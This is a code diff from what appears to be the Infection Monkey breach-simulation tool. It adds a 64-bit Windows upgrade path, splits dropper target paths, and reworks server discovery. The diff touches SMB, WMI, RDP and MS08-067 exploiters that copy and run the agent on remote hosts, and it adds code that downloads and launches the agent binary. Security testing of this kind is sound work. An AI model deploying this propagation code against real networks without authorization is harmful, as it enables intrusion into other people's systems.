diff --git a/infection_monkey/config.py b/infection_monkey/config.py index dfaa5e5e4..41ecd1d91 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -1,4 +1,5 @@ import os +import struct import sys import types import uuid @@ -115,7 +116,8 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' - dropper_target_path = r"C:\Windows\monkey.exe" + dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" + dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' ########################### diff --git a/infection_monkey/control.py b/infection_monkey/control.py index 3b5da2025..d2cbc0cc0 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -4,6 +4,7 @@ import platform from socket import gethostname import requests +from requests.exceptions import ConnectionError import monkeyfs import tunnel @@ -24,10 +25,10 @@ class ControlClient(object): proxies = {} @staticmethod - def wakeup(parent=None, default_tunnel=None, has_internet_access=None): - LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) - if parent or default_tunnel: - LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel)) + def wakeup(parent=None, has_internet_access=None): + if parent: + LOG.debug("parent: %s" % (parent,)) + hostname = gethostname() if not parent: parent = GUID @@ -35,48 +36,66 @@ class ControlClient(object): if has_internet_access is None: has_internet_access = check_internet_access(WormConfiguration.internet_services) + monkey = {'guid': GUID, + 'hostname': hostname, + 'ip_addresses': local_ips(), + 'description': " ".join(platform.uname()), + 'internet_access': has_internet_access, + 'config': WormConfiguration.as_dict(), + 'parent': parent} + + if ControlClient.proxies: + monkey['tunnel'] = ControlClient.proxies.get('https') + + requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), + data=json.dumps(monkey), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies, + timeout=20) + + @staticmethod + def find_server(default_tunnel=None): + LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) + if default_tunnel: + LOG.debug("default_tunnel: %s" % (default_tunnel,)) + + current_server = "" + for server in WormConfiguration.command_servers: try: - WormConfiguration.current_server = server - - monkey = {'guid': GUID, - 'hostname': hostname, - 'ip_addresses': local_ips(), - 'description': " ".join(platform.uname()), - 'internet_access': has_internet_access, - 'config': WormConfiguration.as_dict(), - 'parent': parent} - - if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') + current_server = server debug_message = "Trying to connect to server: %s" % server if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - reply = requests.post("https://%s/api/monkey" % (server,), - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=20) + requests.get("https://%s/api?action=is-up" % (server,), + verify=False, + proxies=ControlClient.proxies) + WormConfiguration.current_server = current_server break - except Exception as exc: - WormConfiguration.current_server = "" + except ConnectionError as exc: + current_server = "" LOG.warn("Error connecting to control server %s: %s", server, exc) - if not WormConfiguration.current_server: - if not ControlClient.proxies: + if current_server: + return True + else: + if ControlClient.proxies: + return False + else: LOG.info("Starting tunnel lookup...") proxy_find = tunnel.find_tunnel(default=default_tunnel) if proxy_find: proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) - ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access) + return ControlClient.find_server() else: LOG.info("No tunnel found") + return False @staticmethod def keepalive(): @@ -249,7 +268,6 @@ class ControlClient(object): data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) - if 200 == reply.status_code: result_json = reply.json() filename = result_json.get('filename') diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 3e0a8bff5..1e6bf2048 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -38,7 +38,7 @@ class MonkeyDrops(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-d', '--depth', type=int) arg_parser.add_argument('-l', '--location') self.monkey_args = args[1:] self.opts, _ = arg_parser.parse_known_args(args) @@ -56,7 +56,10 @@ class MonkeyDrops(object): return # we copy/move only in case path is different - file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) + file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path']) + + if not file_moved and os.path.exists(self._config['destination_path']): + os.remove(self._config['destination_path']) # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: @@ -105,8 +108,8 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) + monkey_options =\ + build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 1dbb64aa8..6e8638742 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -22,7 +22,8 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, - "dropper_target_path": "C:\\Windows\\monkey.exe", + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index 606f44f90..d95bd74ba 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter): if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() diff --git a/infection_monkey/exploit/smbexec.py b/infection_monkey/exploit/smbexec.py index b76a7bce6..d3b27f79d 100644 --- a/infection_monkey/exploit/smbexec.py +++ b/infection_monkey/exploit/smbexec.py @@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/win_ms08_067.py b/infection_monkey/exploit/win_ms08_067.py index 51393ea69..85086bce7 100644 --- a/infection_monkey/exploit/win_ms08_067.py +++ b/infection_monkey/exploit/win_ms08_067.py @@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.dropper_target_path_win_32, self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) @@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter): for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.dropper_target_path_win_32, "Administrator", password) if remote_full_path: @@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/wmiexec.py b/infection_monkey/exploit/wmiexec.py index 1a77a7347..0f9b2ee4c 100644 --- a/infection_monkey/exploit/wmiexec.py +++ b/infection_monkey/exploit/wmiexec.py @@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter): wmi_connection.close() return False # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.dropper_target_path.lower(): + elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/main.py b/infection_monkey/main.py index 6bdef408c..51fd6b9f7 100644 --- a/infection_monkey/main.py +++ b/infection_monkey/main.py @@ -91,7 +91,12 @@ def main(): if WormConfiguration.use_file_logging: if os.path.exists(log_path): - os.remove(log_path) + # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade + # from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem. + try: + os.remove(log_path) + except OSError: + pass LOG_CONFIG['handlers']['file']['filename'] = log_path LOG_CONFIG['root']['handlers'].append('file') else: diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index ac900e2bd..b36569b78 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -14,6 +14,7 @@ from network.firewall import app as firewall from network.network_scanner import NetworkScanner from system_info import SystemInfoCollector from system_singleton import SystemSingleton +from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -35,6 +36,8 @@ class InfectionMonkey(object): self._fingerprint = None self._default_server = None self._depth = 0 + self._opts = None + self._upgrading_to_64 = False def initialize(self): LOG.info("Monkey is initializing...") @@ -46,14 +49,13 @@ class InfectionMonkey(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') - opts, self._args = arg_parser.parse_known_args(self._args) + arg_parser.add_argument('-d', '--depth', type=int) + self._opts, self._args = arg_parser.parse_known_args(self._args) - self._parent = opts.parent - self._default_tunnel = opts.tunnel - self._default_server = opts.server - if opts.depth: - WormConfiguration.depth = int(opts.depth) + self._parent = self._opts.parent + self._default_tunnel = self._opts.tunnel + self._default_server = self._opts.server + if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() @@ -69,15 +71,27 @@ class InfectionMonkey(object): def start(self): LOG.info("Monkey is running...") - if firewall.is_enabled(): - firewall.add_firewall_rule() - ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + LOG.info("Monkey couldn't find server. Going down.") + return + + if WindowsUpgrader.should_upgrade(): + self._upgrading_to_64 = True + self._singleton.unlock() + LOG.info("32bit monkey running on 64bit Windows. Upgrading.") + WindowsUpgrader.upgrade(self._opts) + return + + ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return + if firewall.is_enabled(): + firewall.add_firewall_rule() + monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() @@ -216,23 +230,31 @@ class InfectionMonkey(object): LOG.info("Monkey cleanup started") self._keep_running = False - # Signal the server (before closing the tunnel) - ControlClient.send_telemetry("state", {'done': True}) + if self._upgrading_to_64: + InfectionMonkey.close_tunnel() + firewall.close() + else: + ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel) + InfectionMonkey.close_tunnel() + firewall.close() + if WormConfiguration.send_log_to_server: + self.send_log() + self._singleton.unlock() - # Close tunnel + InfectionMonkey.self_delete() + LOG.info("Monkey is shutting down") + + @staticmethod + def close_tunnel(): tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) - firewall.close() - - if WormConfiguration.send_log_to_server: - self.send_log() - - self._singleton.unlock() - - if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'): + @staticmethod + def self_delete(): + if WormConfiguration.self_delete_in_cleanup \ + and -1 == sys.executable.find('python'): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE @@ -247,8 +269,6 @@ class InfectionMonkey(object): except Exception as exc: LOG.error("Exception in self delete: %s", exc) - LOG.info("Monkey is shutting down") - def send_log(self): monkey_log_path = utils.get_monkey_log_path() if os.path.exists(monkey_log_path): diff --git a/infection_monkey/utils.py b/infection_monkey/utils.py index d95407341..e2f66bd03 100644 --- a/infection_monkey/utils.py +++ b/infection_monkey/utils.py @@ -1,5 +1,6 @@ import os import sys +import struct from config import WormConfiguration @@ -12,3 +13,19 @@ def get_monkey_log_path(): def get_dropper_log_path(): return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ else WormConfiguration.dropper_log_path_linux + + +def is_64bit_windows_os(): + ''' + Checks for 64 bit Windows OS using environment variables. + :return: + ''' + return 'PROGRAMFILES(X86)' in os.environ + + +def is_64bit_python(): + return struct.calcsize("P") == 8 + + +def is_windows_os(): + return sys.platform.startswith("win") diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py new file mode 100644 index 000000000..cbd879c15 --- /dev/null +++ b/infection_monkey/windows_upgrader.py @@ -0,0 +1,54 @@ +import logging +import subprocess +import sys +import shutil + +import time + +import monkeyfs +from config import WormConfiguration +from control import ControlClient +from exploit.tools import build_monkey_commandline_explicitly +from model import MONKEY_CMDLINE_WINDOWS +from utils import is_windows_os, is_64bit_windows_os, is_64bit_python + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + +if "win32" == sys.platform: + from win32process import DETACHED_PROCESS +else: + DETACHED_PROCESS = 0 + + +class WindowsUpgrader(object): + __UPGRADE_WAIT_TIME__ = 3 + + @staticmethod + def should_upgrade(): + return is_windows_os() and is_64bit_windows_os() \ + and not is_64bit_python() + + @staticmethod + def upgrade(opts): + monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) + with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: + shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) + + monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) + + monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { + 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options + + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, + stdin=None, stdout=None, stderr=None, + close_fds=True, creationflags=DETACHED_PROCESS) + + LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", + monkey_process.pid, monkey_cmdline) + + time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) + if monkey_process.poll() is not None: + LOG.error("Seems like monkey died too soon") diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 9983ecc82..91ac389be 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -15,7 +15,6 @@ __author__ = 'Barak' class Root(flask_restful.Resource): - @jwt_required() def get(self, action=None): if not action: action = request.args.get('action') @@ -26,15 +25,19 @@ class Root(flask_restful.Resource): return Root.reset_db() elif action == "killall": return Root.kill_all() + elif action == "is-up": + return {'is-up': True} else: return make_response(400, {'error': 'unknown action'}) @staticmethod + @jwt_required() def get_server_info(): return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), completed_steps=Root.get_completed_steps()) @staticmethod + @jwt_required() def reset_db(): # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] @@ -42,6 +45,7 @@ class Root(flask_restful.Resource): return jsonify(status='OK') @staticmethod + @jwt_required() def kill_all(): mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, @@ -49,6 +53,7 @@ class Root(flask_restful.Resource): return jsonify(status='OK') @staticmethod + @jwt_required() def get_completed_steps(): is_any_exists = NodeService.is_any_monkey_exists() infection_done = NodeService.is_monkey_finished_running() diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index b562ed54d..ebcf2a3ea 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -421,11 +421,19 @@ SCHEMA = { "default": "/tmp/monkey", "description": "Determines where should the dropper place the monkey on a Linux machine" }, - "dropper_target_path": { - "title": "Dropper target path on Windows", + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", "type": "string", - "default": "C:\\Windows\\monkey.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine" + "default": "C:\\Windows\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(32bit)" + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(64 bit)" }, "dropper_try_move_first": { "title": "Try to move first",